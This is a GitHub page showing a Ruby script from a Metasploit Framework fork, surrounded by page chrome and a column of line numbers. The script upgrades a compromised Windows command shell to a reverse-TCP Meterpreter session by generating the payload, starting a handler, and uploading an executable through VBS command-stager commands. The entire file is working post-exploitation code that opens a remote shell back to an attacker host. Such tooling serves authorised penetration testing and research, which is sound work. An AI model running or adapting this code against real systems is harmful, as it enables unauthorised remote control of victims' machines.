forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathspawn_meterpreter.rb
157 lines (134 loc) · 3.81 KB
/
spawn_meterpreter.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
# $Id$
# $Revision$
#
# Spawn a meterpreter session using an existing command shell session
#
# NOTE: Some of the following code is duplicated from the VBS CmdStager
#
# This is really only to prove the concept for now.
#
# -jduck
#
#
# Show the progress of the upload
#
def progress(total, sent)
done = (sent.to_f / total.to_f) * 100
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
end
raise RuntimeError, "You must select a session." if (not session)
raise RuntimeError, "Selected session is not a command shell session!" if (session.type != "shell")
# Check for required datastore options
if (not session.exploit_datastore['LHOST'] or not session.exploit_datastore['LPORT'])
raise RuntimeError, "You must set LPORT and LHOST for this script to work."
end
lhost = session.exploit_datastore['LHOST']
lport = session.exploit_datastore['LPORT']
# maybe we want our sessions going to another instance?
use_handler = true
use_handler = nil if (session.exploit_datastore['DisablePayloadHandler'] == true)
# Process special var/val pairs...
# XXX: Not supported yet...
#Msf::Ui::Common.process_cli_arguments($framework, ARGV)
# Create the payload instance
payload_name = 'windows/meterpreter/reverse_tcp'
payload = framework.payloads.create(payload_name)
options = "LHOST=#{lhost} LPORT=#{lport}"
buf = payload.generate_simple('OptionStr' => options)
#
# Spawn the handler if needed
#
aborted = false
begin
mh = nil
if (use_handler)
mh = framework.modules.create("exploit/multi/handler")
mh.datastore['LPORT'] = lport
mh.datastore['LHOST'] = lhost
mh.datastore['PAYLOAD'] = payload_name
mh.datastore['ExitOnSession'] = false
mh.datastore['EXITFUNC'] = 'process'
mh.exploit_simple(
'LocalInput' => session.user_input,
'LocalOutput' => session.user_output,
'Payload' => payload_name,
'RunAsJob' => true)
# It takes a little time for the resources to get set up, so sleep for
# a bit to make sure the exploit is fully working. Without this,
# mod.get_resource doesn't exist when we need it.
select(nil, nil, nil, 0.5)
if framework.jobs[mh.job_id.to_s].nil?
raise RuntimeError, "Failed to start multi/handler - is it already running?"
end
end
#
# Make the payload into an exe for the CmdStager
#
lplat = [Msf::Platform::Windows]
larch = [ARCH_X86]
linemax = 1700
if (session.exploit_datastore['LineMax'])
linemax = session.exploit_datastore['LineMax'].to_i
end
opts = {
:linemax => linemax,
:decoder => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"),
#:nodelete => true # keep temp files (for debugging)
}
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf)
#
# Generate the stager command array
#
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
cmds = cmdstager.generate(opts)
if (cmds.nil? or cmds.length < 1)
print_error("The command stager could not be generated")
raise ArgumentError
end
#
# Calculate the total size
#
total_bytes = 0
cmds.each { |cmd| total_bytes += cmd.length }
#
# Run the commands one at a time
#
sent = 0
cmds.each { |cmd|
ret = session.shell_command_token_win32(cmd)
if (not ret)
aborted = true
else
ret.strip!
if (not ret.empty?)
aborted = true
end
end
if aborted
print_error("Error: Unable to execute the following command:")
print_error(cmd.inspect)
print_error('Output: ' + ret.inspect) if ret and not ret.empty?
break
end
sent += cmd.length
progress(total_bytes, sent)
}
rescue ::Interrupt
# TODO: cleanup partial uploads!
aborted = true
rescue => e
print_error("Error: #{e}")
aborted = true
end
#
# Stop the job
#
if (use_handler)
Thread.new do
if not aborted
# Wait up to 10 seconds for the session to come in..
select(nil, nil, nil, 10)
end
framework.jobs.stop_job(mh.job_id)
end
end